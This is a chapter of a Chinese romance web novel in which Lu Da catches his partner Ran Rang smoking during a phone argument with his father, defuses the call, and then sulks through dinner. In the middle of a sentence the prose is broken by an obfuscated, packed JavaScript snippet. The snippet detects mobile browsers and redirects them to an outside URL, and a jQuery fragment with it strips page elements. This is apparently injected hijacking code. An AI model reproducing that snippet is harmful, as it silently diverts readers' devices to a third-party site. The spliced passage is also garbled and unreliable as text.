李银荔心稍微落地,却仍不依不饶:“那现在确定下来了嘛?”他心情一好,说话就像撒娇。 “有想法了。”卢答的视线转到工作台上那堆刻废的小竹片上,神情有无奈,也有非常可爱的自得,可惜没人看见。 李银荔像小孩,卢答在李银荔面前便也更童稚些,卢答得意道:“保证让你大吃一惊。” 平时线上也会联系,便没再聊多久,李银荔等卢答道别才挂了电话,叮嘱卢答报完名要再打给他。 卢答趿拉着拖鞋去洗漱,才发现自己穿着睡衣,身上也干爽,估计是冉让帮自己擦拭过身体。 只是腰窝处的指印更深,边缘泛着新鲜的红,胸前咬痕也加重了,卢答无语:感觉冉让应该是属狗的。 他洗漱完走回卧室,从柜里翻出新到的巧克力,走向对门。 冉让大概算准了时间,房门已经半开,卢答象征性地敲了两下,就推门进去,食物的浓郁香气立马扑到鼻尖。 屋内灯全打开了,白炽灯一齐放射光芒,显出极宽敞的亮堂堂来。 卢答走到桌边,见香雪兰开得极盛,已经有了要颓败的预兆。有几朵已经蔫蔫的,垂头丧气,花梗泛出透明的黄。冉让没说错,确实快败了。 他伸手拨弄了两下,实在是太香,手拿回来时,指尖仿佛都沾上了那味道。 饭菜已经在桌上摆好,都用瓷盘倒扣着保温,卢答手蠢蠢欲动,掀开来看,果然都是自己点的菜。 梅菜扣肉汁水鲜亮,肥瘦相间恰到好处,冉让还洒了点芝麻做点缀;番茄炒蛋汤汁浓郁,金黄色蛋块浸泡在番茄汁水中,辣椒炒肉不用尝都知道鲜香咸辣,白灼虾在瓷盘里排得很整齐,还有一盅丝瓜蛋花汤。 这一桌红绿黄相间,看着就眼馋。 唯独冉让不在。 卢答饥肠辘辘,胃拼命地叫嚣着要吃饭,但他把视线从桌上移开,不顾身体需求,先去找冉让在哪。 走进冉让卧室,视野一暗,卢答不太习惯地眨眨眼。 卧室没开灯,只有电脑屏幕蓝盈盈的光,能勉强清楚工作台的格局和家里非常类似。 屏幕上一串串代码闪烁过去,卢答看了两眼就觉得头晕,他是彻头彻尾的文科生,和冉让在专业上没什么共同话题。 冉让站在阳台,估计是用眼过度,少见地戴上了平光镜。 他侧身站在阳台上,眉头紧拧,脸色沉沉,说话很冲,和对面吵得凶,没注意到屋里的动静。 “别假惺惺好吗?” 对面不知道说了什么,冉让嗤一声:“对,我不是东西,那你又算个什么东西?” 对面语速加快,冉让说话也愈发冷:“……我是不会同意的,你想都别想。” 卢答听了寥寥几句,已经猜出了电话对面是谁。 冉让父亲冉毅德信奉“棍棒底下出孝子”,对家里两个孩子都实行高压政策。 冉让不像哥哥那样掐尖会来事,性子也倔,从小到大不知道挨了几顿揍,和父亲的关系一直普通。 卢答本打算过去,想起冉让一直不愿让自己看见父子吵架,又纠结了一会儿,就眼见着越吵越凶。 电话那边不知道说了什么,冉让转头,不耐地啧了一声,眉宇间的烦躁极明显。 他放在身侧的另一只手抬起,两指置于唇上,深深地吸了一口,烟雾渺渺间,那张俊美的脸轮廓被模糊。 卢答看得清清楚楚,见他指尖衔着什么,分明是一个夹烟的姿势。 卢答脑子轰一下炸起来,大步走过去,抬起的手,硬生生中途拐弯,扇了冉让夹着烟的手。 烟落到地上,卢答抬脚碾灭,冉让没想到被他撞见,身形一僵,慢慢转过头,意外地慌张。 “我……” 卢答不听他说话,漂亮的脸上收敛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344683|199477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了表情,眼尾下垂,显得锐而冷。 但眼下有更重要的事情要做,他从冉让手里接过电话,重新挂起笑,对着电话那头叫得亲亲热热:“冉叔叔,晚上好啊,是我,安安。” 卢答从小就会卖乖讨巧,身体又是远近闻名的不好,大人们多有溺爱,况且又不是自家能随便出气的孩子。 冉毅德听到是他,一口气闷在胸腔里,上不来下不去的,也只能放缓了声音:“安安啊。” 卢答熟知和长辈打太极的技巧,问候了几句身体,又捡了几个谁家的轶事,最后问到了冉家的花。 罗南青爱花,人尽皆知,冉毅德爱妻子,也是人尽皆知。 果然,冉毅德本来还想让他把电话还给冉让,现在粗犷的声音都柔了:“你阿姨整天就惦记着她的花呢,怕风吹怕雨打的,对花可比对我好多了。” 卢答笑吟吟:“那可不,青姨看花就跟看自己孩子一样,牵肠挂肚的。”他见冉让耷拉着脸,说话也带刺。 冉父不傻,听出了言外之意,想到妻子总为教育的事情和自己翻脸,一时之间竟不知道说什么。 卢答维护冉让,他倒没放在心上。卢答和冉让关系好,从小就极护着对方,这也是人尽皆知的。 但被小辈这么一刺,多少也有点下不来台,再拉不下脸来,便聊了几句,匆匆挂了电话。 卢答这才收了笑,重新转回冷若冰霜的脸,看到明显焦躁不安的冉让,他顿一顿,又笑起来。 卢答笑时极其动人,眉眼柔和,粉颊亮眼,像风一吹就落英缤纷的湖面。冷脸时,那种被爱、被富裕金钱滋养大的底气就在他白净的脸上袒露出来。 “说吧,多久了?” 卢答抛着冉让上缴的烟盒,漫不经心瞥一眼盒身:“高焦油,无滤嘴,你还挺嫌命长。” 冉让根本不敢说话。 冉让最终道:“……没多久。” 卢答不敢置信:“你还打马虎眼?” 卢答从来没在冉让身上闻见过烟味,料他也没抽多久,本来并没有太生气,但冉让先不说话,后面还避重就轻,卢答才真正开始生气。 他定定看了冉让一眼,抿唇走出了卧室。 “宝宝!” 冉让怕他走,下意识地跟了上去,急切又小声地唤卢答:“宝宝……” 卢答却没走,而是在桌前落座。笑话,他怎么会亏待自己的胃。 冉让看到桌上的巧克力,心头一涩。便也默默坐下来,给卢答剥虾,放一只进卢答碗里低低唤一声宝宝。卢答对鲜甜弹牙的虾是照单全收,只是充耳不闻,不理冉让。 没滋没味地吃了一顿饭。 饭后,冉让收拾好垃圾,他看了一眼坐在桌前的卢答,准备一个人出门。 平时两个人吃完晚饭,都会再一起下去扔垃圾,散散步。 但现在卢答明显在生气,冉让怕自己求他一起下楼反而适得其反。 没想到门还没关实,卢答就跟上来,硬邦邦道:“我也要去。” 冉让惊讶的神情没逃过卢答的眼睛,卢答抱着臂,冷笑:“不然让你下去偷偷抽吗?” 冉让道:“宝宝,我只是……” “只是什么?”卢答问。 冉让却又不说话了。 左右他只会说对不起,卢答不耐,从他手里抢过一袋垃圾,冷声道:“你废话真多。”